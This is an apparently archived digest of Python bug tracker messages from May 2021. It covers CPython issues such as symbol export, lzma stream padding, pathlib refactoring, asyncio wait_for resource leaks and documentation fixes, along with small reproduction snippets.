https://mail.python.org/archives/list/capi-sig at python.org/thread/5QLI3NUP3OSGLCCIBAQOTX4GEJQBWJ6F/ ---------- components: C API files: reproduce.tar.gz messages: 393675 nosy: vstinner priority: normal severity: normal status: open title: "Py_FrozenMain" symbol is not exported versions: Python 3.11 Added file: https://bugs.python.org/file50043/reproduce.tar.gz _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 13:00:16 2021 From: report at bugs.python.org (STINNER Victor) Date: Fri, 14 May 2021 17:00:16 +0000 Subject: [issue44133] "Py_FrozenMain" symbol is not exported In-Reply-To: <1621011524.07.0.0957325647121.issue44133@roundup.psfhosted.org> Message-ID: <1621011616.3.0.72697808143.issue44133@roundup.psfhosted.org> STINNER Victor added the comment: The "python" binary exports 1610 symbols. With the attached fix, it exports 1611 symbols (+1): "Py_FrozenMain" is also exported :-) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 13:02:23 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Fri, 14 May 2021 17:02:23 +0000 Subject: [issue37891] Exceptions tutorial page does not mention raise from In-Reply-To: <1566285667.91.0.992762773609.issue37891@roundup.psfhosted.org> Message-ID: <1621011743.14.0.383766766031.issue37891@roundup.psfhosted.org> Raymond Hettinger added the comment: Thanks for looking. This issue does appear to be out of date. ---------- resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 13:05:10 2021 From: report at bugs.python.org (STINNER Victor) Date: Fri, 14 May 2021 17:05:10 +0000 Subject: [issue44133] "Py_FrozenMain" symbol is not exported In-Reply-To: <1621011524.07.0.0957325647121.issue44133@roundup.psfhosted.org> Message-ID: <1621011910.38.0.886782156706.issue44133@roundup.psfhosted.org> Change by STINNER Victor : ---------- keywords: +patch pull_requests: +24769 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26130 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 13:06:16 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Fri, 14 May 2021 17:06:16 +0000 Subject: [issue44109] missing dataclass decorator in match-statement example In-Reply-To: <1620736569.02.0.465666569793.issue44109@roundup.psfhosted.org> Message-ID: <1621011976.82.0.429277862709.issue44109@roundup.psfhosted.org> Raymond Hettinger added the comment: > Thoughts from others? As it stands, the Point class is weird and atypical by only using class variables. The example would be improved by adding @dataclass or inheriting from typing.NamedTuple. ---------- nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 13:08:09 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Fri, 14 May 2021 17:08:09 +0000 Subject: [issue32133] documentation: numbers module nitpick In-Reply-To: <1511634703.59.0.213398074469.issue32133@psf.upfronthosting.co.za> Message-ID: <1621012089.19.0.888519177589.issue32133@roundup.psfhosted.org> Raymond Hettinger added the comment: Here's a minimal change: - None of the types defined in this module can be instantiated. + None of the types defined in this module are intended to be instantiated. ---------- nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 13:47:35 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 14 May 2021 17:47:35 +0000 Subject: [issue44123] make function parameter sentinel value true singletons In-Reply-To: <1620911826.39.0.0347354211372.issue44123@roundup.psfhosted.org> Message-ID: <1621014455.44.0.294322851063.issue44123@roundup.psfhosted.org> Serhiy Storchaka added the comment: Parameters are not passed to a function. Arguments are passed. And what you need is just to not pass to the wrapped function arguments which were not passed to wrapper. *args and **kwargs do not contain arguments which were not passed. I understand that it would be pleasant to have better some singletons and sentinels (with better repr, and sometimes pickleable), but I don't think that the problem with pickling default values of function parameters even exists. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 13:52:02 2021 From: report at bugs.python.org (rogdham) Date: Fri, 14 May 2021 17:52:02 +0000 Subject: [issue44134] lzma: stream padding in xz files Message-ID: <1621014722.86.0.839640060704.issue44134@roundup.psfhosted.org> New submission from rogdham : Hello, The lzma module does not works well with XZ stream padding. Depending on the case, it may work; or it may stops the stream prematurely without error; or an error may be raised; or no error may be raised when it must. In the XZ file format, stream padding is a number of null bytes (multiple of 4) that can be between and after streams. >From the specification (section 2.2): > Only the decoders that support decoding of concatenated Streams MUST support Stream Padding. Since the lzma module supports decoding of concatenated streams, it must support stream padding as well. #### Examples to reproduce the issue: 1. example1.xz: - made of one stream followed by 4 null bytes: $ (echo 'Hi!' | xz; head -c 4 /dev/zero) > example1.xz - will raise an exception in both modes (FORMAT_AUTO and FORMAT_XZ) >>> with lzma.open('/example1.xz', format=lzma.FORMAT_AUTO) as f: ... f.read() ... Traceback (most recent call last): File "", line 2, in File "/usr/lib/python3.9/lzma.py", line 200, in read return self._buffer.read(size) File "/usr/lib/python3.9/_compression.py", line 99, in read raise EOFError("Compressed file ended before the " EOFError: Compressed file ended before the end-of-stream marker was reached >>> with lzma.open('/example1.xz', format=lzma.FORMAT_XZ) as f: ... f.read() ... Traceback (most recent call last): File "", line 2, in File "/usr/lib/python3.9/lzma.py", line 200, in read return self._buffer.read(size) File "/usr/lib/python3.9/_compression.py", line 99, in read raise EOFError("Compressed file ended before the " EOFError: Compressed file ended before the end-of-stream marker was reached 2. example2.xz: - made of two streams with 18 null bytes of stream padding between them $ (echo 'Hi!' | xz; head -c 18 /dev/zero; echo 'Second stream' | xz) > example2.xz - second stream will be ignored with FORMAT_XZ - the two streams will be decoded with FORMAT_AUTO, where it should raise an error (18 null bytes is not multiple of 4, so the stream padding is invalid according to the XZ specification and the decoder ?MUST indicate an error?) >>> with lzma.open('/tmp/example2.xz', format=lzma.FORMAT_AUTO) as f: ... f.read() ... b'Hi!\nSecond stream\n' >>> with lzma.open('/tmp/example2.xz', format=lzma.FORMAT_XZ) as f: ... f.read() ... b'Hi!\n' #### Analysis This issue comes from the relation between _lzma and _compression. In _lzma, the C library is called without the LZMA_CONCATENATED flag, which means that multiple streams and stream padding must be supported in Python. In _compression, when a LZMADecompressor is done (.eof is True), an other one is created to decompress from that point. If the new one fails to decompress the remaining data, the LZMAError is ignored and we assume we reached the end. So the behavior seen above can be explained as follows: - In FORMAT_AUTO, it seems that .eof is False while we haven't read 18 bytes - In FORMAT_AUTO, 18 null bytes will be decompressed as b'' with .eof being True afterwards - In FORMAT_XZ, it seems that .eof is False while we haven't read 12 bytes - In FORMAT_XZ, no stream padding is valid, so as soon as we have more than 12 bytes an LZMAError is raised #### Possible solution A possible solution would be to add a finish method on the decompressor interface, and support it appropriately in _compression when we reached EOF on the input. Then, in LZMADecompressor implementation, use the LZMA_CONCATENATED flag, and implement the finish method to call lzma_code with LZMA_FINISH as action. I think this would be preferred than trying to solve the issue in Python, because if the format is FORMAT_AUTO we don't know if the format is XZ (and we should support stream padding) or not. ---------- components: Library (Lib) files: example1.xz messages: 393681 nosy: nadeem.vawda, rogdham priority: normal severity: normal status: open title: lzma: stream padding in xz files type: behavior versions: Python 3.10, Python 3.11, Python 3.6, Python 3.7, Python 3.8, Python 3.9 Added file: https://bugs.python.org/file50044/example1.xz _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 13:54:48 2021 From: report at bugs.python.org (rogdham) Date: Fri, 14 May 2021 17:54:48 +0000 Subject: [issue44134] lzma: stream padding in xz files In-Reply-To: <1621014722.86.0.839640060704.issue44134@roundup.psfhosted.org> Message-ID: <1621014888.73.0.632501313285.issue44134@roundup.psfhosted.org> Change by rogdham : Added file: https://bugs.python.org/file50045/example2.xz _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 13:55:48 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Fri, 14 May 2021 17:55:48 +0000 Subject: [issue44095] Add suffix property to zipfile.Path In-Reply-To: <1620624563.22.0.863899405622.issue44095@roundup.psfhosted.org> Message-ID: <1621014948.04.0.894759466037.issue44095@roundup.psfhosted.org> Jason R. Coombs added the comment: Sounds good to me. In general, it's easier to contribute first to https://github.com/jaraco/zipp and those changes can be readily merged into CPython. No worries, though. If these changes can be accepted here, I should be able to graft them onto jaraco/zipp as well, and thus provide the functionality for older Pythons. At this point, Python 3.10 is frozen for features, which this change would be, so I'm updating the target version to 3.11. > It's not meant to be 100% consistent with pathlib.Path. That's right. It's meant to provide whatever consistency makes sense, but a subset of what's available on pathlib.Path. Happy to accept any contributions that would be useful. >> A pathlib-compatible interface > only a few methods are supported Indeed, perhaps the documentation should be more clear about what is and isn't supported. ---------- versions: +Python 3.11 -Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 14:00:17 2021 From: report at bugs.python.org (Jason R. Coombs) Date: Fri, 14 May 2021 18:00:17 +0000 Subject: [issue44095] Add suffix property to zipfile.Path In-Reply-To: <1620624563.22.0.863899405622.issue44095@roundup.psfhosted.org> Message-ID: <1621015217.73.0.853500146035.issue44095@roundup.psfhosted.org> Jason R. Coombs added the comment: Thanks for the excellent patch. I've created https://github.com/jaraco/zipp/issues/74 to track the backport of these changes. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 14:24:27 2021 From: report at bugs.python.org (=?utf-8?q?Jo=C3=A3o_Henrique_Pimentel?=) Date: Fri, 14 May 2021 18:24:27 +0000 Subject: [issue44135] issubclass documentation doesn't explain tuple semantic Message-ID: <1621016667.05.0.821636272564.issue44135@roundup.psfhosted.org> New submission from Jo?o Henrique Pimentel : The second parameter (classinfo) of the issubclass built-in function can be a Tuple and, starting from 3.10, it can be a Union Type as well. The documentation states that in these cases "every entry in classinfo will be checked", but it doesn't explain if the check is AND (all) or OR (any). In contrast, the documentation of isinstance is clear: "return True if object is an instance of *any* of the types". Here's a possible rewriting that reduces the odds of incorrect interpretations, based on the text of isinstance: ORIGINAL: "in which case every entry in classinfo will be checked" PROPOSAL: "in which case return True if class is a subclass of any entry in classinfo" ---------- assignee: docs at python components: Documentation messages: 393684 nosy: docs at python, joaozinho priority: normal severity: normal status: open title: issubclass documentation doesn't explain tuple semantic type: enhancement versions: Python 3.10, Python 3.11, Python 3.6, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 14:28:58 2021 From: report at bugs.python.org (Barney Gale) Date: Fri, 14 May 2021 18:28:58 +0000 Subject: [issue44136] Remove pathlib flavours Message-ID: <1621016938.4.0.46024543706.issue44136@roundup.psfhosted.org> New submission from Barney Gale : Following bpo-39899, bpo-43757 and bpo-43012, `pathlib._Flavour` and its subclasses are looking a bit pointless. The implementations of `is_reserved()` and `make_uri()` (~`as_uri()`) can be readily moved to into `PurePosixPath` and `PureWindowsPath`, which removes some indirection. This follows the pattern of OS-specific stuff in `PosixPath` and `WindowsPath`. The remaining methods, such as `splitroot()`, can be pulled into `Pure*Path` with an underscore prefix. I'm generally a believer in composition over inheritance, but in this case `_Flavour` seems too small and too similar to `PurePath` to separate out into 3 extra classes. There should be no impact on public APIs or performance. ---------- components: Library (Lib) messages: 393685 nosy: barneygale priority: normal severity: normal status: open title: Remove pathlib flavours type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 15:08:39 2021 From: report at bugs.python.org (Irit Katriel) Date: Fri, 14 May 2021 19:08:39 +0000 Subject: [issue43729] Tutorial Documentation for 3.1.1. Numbers missing "result" In-Reply-To: <1617579865.45.0.541169648182.issue43729@roundup.psfhosted.org> Message-ID: <1621019319.34.0.83319199149.issue43729@roundup.psfhosted.org> Change by Irit Katriel : ---------- versions: +Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 15:09:21 2021 From: report at bugs.python.org (miss-islington) Date: Fri, 14 May 2021 19:09:21 +0000 Subject: [issue43729] Tutorial Documentation for 3.1.1. Numbers missing "result" In-Reply-To: <1617579865.45.0.541169648182.issue43729@roundup.psfhosted.org> Message-ID: <1621019361.52.0.135630623894.issue43729@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24771 pull_request: https://github.com/python/cpython/pull/26137 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 15:09:16 2021 From: report at bugs.python.org (miss-islington) Date: Fri, 14 May 2021 19:09:16 +0000 Subject: [issue43729] Tutorial Documentation for 3.1.1. Numbers missing "result" In-Reply-To: <1617579865.45.0.541169648182.issue43729@roundup.psfhosted.org> Message-ID: <1621019356.71.0.319571978686.issue43729@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 5.0 -> 6.0 pull_requests: +24770 pull_request: https://github.com/python/cpython/pull/26136 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 15:29:20 2021 From: report at bugs.python.org (Nils Kattenbeck) Date: Fri, 14 May 2021 19:29:20 +0000 Subject: [issue44137] importlib.resources.path raises RuntimeError import FileNotFoundError is raise in context manager Message-ID: <1621020560.88.0.325550849747.issue44137@roundup.psfhosted.org> New submission from Nils Kattenbeck : When a FileNotFoundError is raised inside while the importlib.resources.path context manager is active a RuntimeError is raised. Looking at the (3.8) code it seems that FileNotFound exceptions are handled specially from all other exceptions which may lead to this behaviour. While the code in 3.9 changed significantly the same behaviour can be observed. Files: . ??? my_package ??? data.txt (empty) ??? __init__.py (empty) ??? test.py Content of test.py: import importlib.resources def main(): with importlib.resources.path('my_package', 'data.txt') as p: raise FileNotFoundError() if __name__ == '__main__': main() Exact error message: RuntimeError: generator didn't stop after throw() ---------- components: Library (Lib) messages: 393686 nosy: Nils Kattenbeck, brett.cannon, jaraco priority: normal severity: normal status: open title: importlib.resources.path raises RuntimeError import FileNotFoundError is raise in context manager type: behavior versions: Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 15:29:35 2021 From: report at bugs.python.org (Nils Kattenbeck) Date: Fri, 14 May 2021 19:29:35 +0000 Subject: [issue44137] importlib.resources.path raises RuntimeError when FileNotFoundError is raise in context manager In-Reply-To: <1621020560.88.0.325550849747.issue44137@roundup.psfhosted.org> Message-ID: <1621020575.59.0.305478429522.issue44137@roundup.psfhosted.org> Change by Nils Kattenbeck : ---------- title: importlib.resources.path raises RuntimeError import FileNotFoundError is raise in context manager -> importlib.resources.path raises RuntimeError when FileNotFoundError is raise in context manager _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 15:37:29 2021 From: report at bugs.python.org (miss-islington) Date: Fri, 14 May 2021 19:37:29 +0000 Subject: [issue37788] fix for bpo-36402 (threading._shutdown() race condition) causes reference leak In-Reply-To: <1565194972.64.0.065323919799.issue37788@roundup.psfhosted.org> Message-ID: <1621021049.64.0.587687615147.issue37788@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 14.0 -> 15.0 pull_requests: +24772 pull_request: https://github.com/python/cpython/pull/26138 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 15:41:13 2021 From: report at bugs.python.org (nmatravolgyi) Date: Fri, 14 May 2021 19:41:13 +0000 Subject: [issue37658] In some cases asyncio.wait_for can lead to socket leak. In-Reply-To: <1563884177.4.0.19779936427.issue37658@roundup.psfhosted.org> Message-ID: <1621021273.6.0.119945375431.issue37658@roundup.psfhosted.org> nmatravolgyi added the comment: I did a little research on how the `wait_for` could be improved. There are four alternate implementations you can find here: https://github.com/Traktormaster/wait-for2/blob/issue37658/wait_for2/impl.py The repository (on the linked branch) has tox set-up and a test that asserts the behaviour of builtin and alternate implementations. Quick summary: - wait_for (builtin): either leaks resources or ignores cancellation - wait_for (preferred alt): works as expected (I'm going to discuss this below) - wait_for_special_raise: works, but has pitfalls - wait_for_no_waiter*: These were proposed by @aaliddell on the related PR: https://github.com/python/cpython/pull/26097#issuecomment-840497455 I could not make them work, but I might be missing something. I think the fact that the inner coroutine gets wrapped into a Future introduces the race-condition, but I don't know how to test that. The general idea of this would be the best if an implementation was possible. About the actually working alternate implementation I made: In my opinion there is no way to implicitly handle losing a result properly in case of a cancellation, since it arbitrarily breaks the flow of execution. I'd look into having `wait_for(...)` support cleanup callbacks when a cancellation and completion happens at the same time. Something like: ```python async def create_something(): # this acquires some resource that needs explicit cleanup after some work return object() def cleanup_something(inst): inst.close() t = asyncio.ensure_future(create_something()) x = await asyncio.wait_for(t, timeout=10, cancel_handler=cleanup_something) try: pass # normal work with x finally: cleanup_something(x) # cleanup at normal execution ``` The inner task is still responsible for handling the resource before it returns, which means if the inner task is cancelled, there must be no leak if the implementation is correct. If no cancellation happens, everything is "fine". Finally, the waiter task would be able to handle its cancellation and the simultaneous completion of the inner task if the caller code provides a callback. Unfortunately this requires the user of `wait_for` to be aware of this race-condition. However it makes it possible to be handled properly when the waited future's result requires a cleanup. ---------- nosy: +nmatravolgyi _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 15:50:35 2021 From: report at bugs.python.org (Huziy Oleksandr) Date: Fri, 14 May 2021 19:50:35 +0000 Subject: [issue34903] strptime %d handling of single digit day of month In-Reply-To: <1538724686.61.0.545547206417.issue34903@psf.upfronthosting.co.za> Message-ID: <1621021835.35.0.0716186112131.issue34903@roundup.psfhosted.org> Huziy Oleksandr added the comment: This is a bit unfortunate for the formats without separators, that could give wrong results silently: ``` In [26]: datetime.strptime("2020010112", "%Y%m%d%H") Out[26]: datetime.datetime(2020, 1, 1, 12, 0) In [27]: datetime.strptime("2020010112", "%Y%m%d%H%M") Out[27]: datetime.datetime(2020, 1, 1, 1, 2) ``` ---------- nosy: +guziy.sasha versions: +Python 3.8 -Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 15:51:32 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Fri, 14 May 2021 19:51:32 +0000 Subject: [issue38768] [feature request] Add lldb equivalent to Tools/gdb In-Reply-To: <1573493155.23.0.630795788847.issue38768@roundup.psfhosted.org> Message-ID: <1621021892.56.0.68566199143.issue38768@roundup.psfhosted.org> Gregory P. Smith added the comment: This would be useful beyond macOS. Clang/LLVM is the compiler toolchain of choice for a lot of the world these days. Including lldb. gdb cannot be assumed to be available or even work everywhere. This would be a great thing to have. ---------- components: +Demos and Tools nosy: +gregory.p.smith stage: -> needs patch type: -> enhancement versions: -Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 16:06:16 2021 From: report at bugs.python.org (Carol Willing) Date: Fri, 14 May 2021 20:06:16 +0000 Subject: [issue43729] Tutorial Documentation for 3.1.1. Numbers missing "result" In-Reply-To: <1617579865.45.0.541169648182.issue43729@roundup.psfhosted.org> Message-ID: <1621022776.78.0.664761885647.issue43729@roundup.psfhosted.org> Carol Willing added the comment: New changeset dd4f7d96cb78b424ef8fa705aaee15a837b2d240 by Miss Islington (bot) in branch '3.10': bpo-43729: Clarify comment in tutorial example (GH-25191) (#26136) https://github.com/python/cpython/commit/dd4f7d96cb78b424ef8fa705aaee15a837b2d240 ---------- nosy: +willingc _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 16:06:42 2021 From: report at bugs.python.org (Carol Willing) Date: Fri, 14 May 2021 20:06:42 +0000 Subject: [issue43729] Tutorial Documentation for 3.1.1. Numbers missing "result" In-Reply-To: <1617579865.45.0.541169648182.issue43729@roundup.psfhosted.org> Message-ID: <1621022802.3.0.820589050126.issue43729@roundup.psfhosted.org> Carol Willing added the comment: New changeset c90642b0d48e5ab40d05b526311ba19bb87f3233 by Miss Islington (bot) in branch '3.9': bpo-43729: Clarify comment in tutorial example (GH-25191) (GH-26137) https://github.com/python/cpython/commit/c90642b0d48e5ab40d05b526311ba19bb87f3233 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 16:19:17 2021 From: report at bugs.python.org (Ned Deily) Date: Fri, 14 May 2021 20:19:17 +0000 Subject: [issue38768] [feature request] Add lldb equivalent to Tools/gdb In-Reply-To: <1573493155.23.0.630795788847.issue38768@roundup.psfhosted.org> Message-ID: <1621023557.57.0.802098256431.issue38768@roundup.psfhosted.org> Change by Ned Deily : ---------- components: -macOS _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 16:42:10 2021 From: report at bugs.python.org (Igor Bolshakov) Date: Fri, 14 May 2021 20:42:10 +0000 Subject: [issue43650] MemoryError on zip.read in shutil._unpack_zipfile In-Reply-To: <1616966483.79.0.479664444023.issue43650@roundup.psfhosted.org> Message-ID: <1621024930.99.0.155895752789.issue43650@roundup.psfhosted.org> Igor Bolshakov added the comment: pls review ---------- resolution: -> remind _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 17:14:48 2021 From: report at bugs.python.org (STINNER Victor) Date: Fri, 14 May 2021 21:14:48 +0000 Subject: [issue44133] "Py_FrozenMain" symbol is not exported In-Reply-To: <1621011524.07.0.0957325647121.issue44133@roundup.psfhosted.org> Message-ID: <1621026888.6.0.0817397611575.issue44133@roundup.psfhosted.org> STINNER Victor added the comment: The symbol is not exported on Windows neither. My PR 26126 ("Test Py_FrozenMain()") fails on Windows with: "_testembed.obj : error LNK2001: unresolved external symbol __imp_Py_FrozenMain" ("__imp_" prefix is added by Windows DLL loader.) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 17:28:12 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 14 May 2021 21:28:12 +0000 Subject: [issue44072] Doc: power operator (`**`) present for numbers.Complex, not added in numbers.Integral In-Reply-To: <1620457520.68.0.450582144832.issue44072@roundup.psfhosted.org> Message-ID: <1621027692.71.0.13476439279.issue44072@roundup.psfhosted.org> Terry J. Reedy added the comment: Yes, complex ** complex works fine, and "TypeError: pow() 3rd argument not allowed unless all arguments are integers". ---------- nosy: +terry.reedy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 17:40:46 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Fri, 14 May 2021 21:40:46 +0000 Subject: [issue42862] Use functools.lru_cache iso. _sqlite.Cache in sqlite3 module In-Reply-To: <1610066343.94.0.466682345605.issue42862@roundup.psfhosted.org> Message-ID: <1621028446.24.0.399946358867.issue42862@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- versions: +Python 3.11 -Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 18:02:04 2021 From: report at bugs.python.org (miss-islington) Date: Fri, 14 May 2021 22:02:04 +0000 Subject: [issue44072] Doc: power operator (`**`) present for numbers.Complex, not added in numbers.Integral In-Reply-To: <1620457520.68.0.450582144832.issue44072@roundup.psfhosted.org> Message-ID: <1621029724.77.0.711743430189.issue44072@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 3.0 -> 4.0 pull_requests: +24773 pull_request: https://github.com/python/cpython/pull/26139 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 18:02:09 2021 From: report at bugs.python.org (miss-islington) Date: Fri, 14 May 2021 22:02:09 +0000 Subject: [issue44072] Doc: power operator (`**`) present for numbers.Complex, not added in numbers.Integral In-Reply-To: <1620457520.68.0.450582144832.issue44072@roundup.psfhosted.org> Message-ID: <1621029729.61.0.575946420797.issue44072@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24774 pull_request: https://github.com/python/cpython/pull/26140 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 18:10:29 2021 From: report at bugs.python.org (Kushal Kumaran) Date: Fri, 14 May 2021 22:10:29 +0000 Subject: [issue44138] multiprocessing documentation should note behavior when process with Lock dies Message-ID: <1621030229.72.0.539650187678.issue44138@roundup.psfhosted.org> New submission from Kushal Kumaran : If a process holding a multiprocessing.Lock dies, other waiters on the lock will be stuck. This is mostly the same as with threads, but threads-users can usually avoid this with careful coding (dealing with errors, etc.), and significant crashes will normally take down the entire process anyway. With multiprocessing, a process with lock held could get SIGKILLed with no recourse. A simple program demonstrating the problem: ``` import multiprocessing import os import signal lk = multiprocessing.Lock() def f(): my_pid = os.getpid() print("PID {} going to wait".format(my_pid)) with lk: print("PID {} got the lock".format(my_pid)) os.kill(my_pid, signal.SIGKILL) if __name__ == '__main__': for i in range(5): multiprocessing.Process(target=f).start() ``` Running this will have one of the processes acquiring the lock and dying; the other processes will wait forever. The reason behind this behavior is obvious from the implementation that uses POSIX semaphores (I don't know how the win32 implementation behaves). I don't think the behavior can be changed, since releasing the lock on process crash could leave other processes having to deal with unexpected state. A note in the documentation for the multiprocessing module is all I could think of. I don't see a way to use multiprocessing.Lock with safety against process crashes. If someone has a scenario where they can guarantee their data consistency in the face of process crash, they should use some alternative mechanism such as file-based locking. ---------- components: Library (Lib) messages: 393695 nosy: kushal-kumaran priority: normal severity: normal status: open title: multiprocessing documentation should note behavior when process with Lock dies type: enhancement versions: Python 3.10, Python 3.11, Python 3.6, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 18:17:49 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 14 May 2021 22:17:49 +0000 Subject: [issue44078] Output relative path when using PurePath.relative_to In-Reply-To: <1620488591.33.0.62171873486.issue44078@roundup.psfhosted.org> Message-ID: <1621030669.01.0.913915919806.issue44078@roundup.psfhosted.org> Change by Terry J. Reedy : ---------- resolution: -> duplicate stage: -> resolved status: open -> closed superseder: -> pathlib's relative_to should behave like os.path.relpath _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 18:18:59 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 14 May 2021 22:18:59 +0000 Subject: [issue40358] pathlib's relative_to should behave like os.path.relpath In-Reply-To: <1587513783.17.0.6950267733.issue40358@roundup.psfhosted.org> Message-ID: <1621030739.73.0.647647929321.issue40358@roundup.psfhosted.org> Terry J. Reedy added the comment: On #44078 (closed as duplicate), Mark Hammond made a similar request. ---------- nosy: +terry.reedy versions: +Python 3.11 -Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 18:22:52 2021 From: report at bugs.python.org (miss-islington) Date: Fri, 14 May 2021 22:22:52 +0000 Subject: [issue44072] Doc: power operator (`**`) present for numbers.Complex, not added in numbers.Integral In-Reply-To: <1620457520.68.0.450582144832.issue44072@roundup.psfhosted.org> Message-ID: <1621030972.42.0.426378306291.issue44072@roundup.psfhosted.org> miss-islington added the comment: New changeset 2e99869f64bbd3c6590cb5ceaf9cf59e63689d63 by Miss Islington (bot) in branch '3.10': bpo-44072: fix Complex, Integral docs for `**` (GH-25986) https://github.com/python/cpython/commit/2e99869f64bbd3c6590cb5ceaf9cf59e63689d63 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 18:25:46 2021 From: report at bugs.python.org (miss-islington) Date: Fri, 14 May 2021 22:25:46 +0000 Subject: [issue44072] Doc: power operator (`**`) present for numbers.Complex, not added in numbers.Integral In-Reply-To: <1620457520.68.0.450582144832.issue44072@roundup.psfhosted.org> Message-ID: <1621031146.96.0.049633710258.issue44072@roundup.psfhosted.org> miss-islington added the comment: New changeset fa9de0c383581936de3338c8dc6b58c10a6e27b8 by Miss Islington (bot) in branch '3.9': bpo-44072: fix Complex, Integral docs for `**` (GH-25986) https://github.com/python/cpython/commit/fa9de0c383581936de3338c8dc6b58c10a6e27b8 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 18:35:15 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 14 May 2021 22:35:15 +0000 Subject: [issue44081] ast.unparse: dont use redundant space separator for lambdas with no parameters In-Reply-To: <1620517095.39.0.166538453472.issue44081@roundup.psfhosted.org> Message-ID: <1621031715.26.0.438810056172.issue44081@roundup.psfhosted.org> Terry J. Reedy added the comment: Agreed. unparse is already correct if there is a parameter. >>> ast.unparse(ast.parse("lambda x: 'hey!'")) "lambda x: 'hey!'" ---------- nosy: +terry.reedy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 18:55:43 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 14 May 2021 22:55:43 +0000 Subject: [issue44107] HTTPServer can't close http client completely In-Reply-To: <1620727659.65.0.182288383134.issue44107@roundup.psfhosted.org> Message-ID: <1621032943.5.0.571035595107.issue44107@roundup.psfhosted.org> Terry J. Reedy added the comment: 3.8 only gets security fixes. Please verify issue on a current release. ---------- nosy: +terry.reedy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 19:07:54 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 14 May 2021 23:07:54 +0000 Subject: [issue44072] Doc: power operator (`**`) present for numbers.Complex, not added in numbers.Integral In-Reply-To: <1620457520.68.0.450582144832.issue44072@roundup.psfhosted.org> Message-ID: <1621033674.59.0.215743472848.issue44072@roundup.psfhosted.org> Terry J. Reedy added the comment: Thanks for the report and clean patch. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 19:14:57 2021 From: report at bugs.python.org (Irit Katriel) Date: Fri, 14 May 2021 23:14:57 +0000 Subject: [issue30274] Rename 'name' to 'fullname' argument to ExtensionFileLoader In-Reply-To: <1493936689.45.0.0881901800669.issue30274@psf.upfronthosting.co.za> Message-ID: <1621034097.29.0.861591055208.issue30274@roundup.psfhosted.org> Irit Katriel added the comment: The PR was reviewed but it now has merge conflicts and possibly a test failure on MacOS. ---------- components: +Library (Lib) -Documentation keywords: +easy nosy: +iritkatriel title: Make importlib.abc.ExtensionFileLoader.__init__() documentation match code -> Rename 'name' to 'fullname' argument to ExtensionFileLoader versions: +Python 3.11 -Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 19:44:01 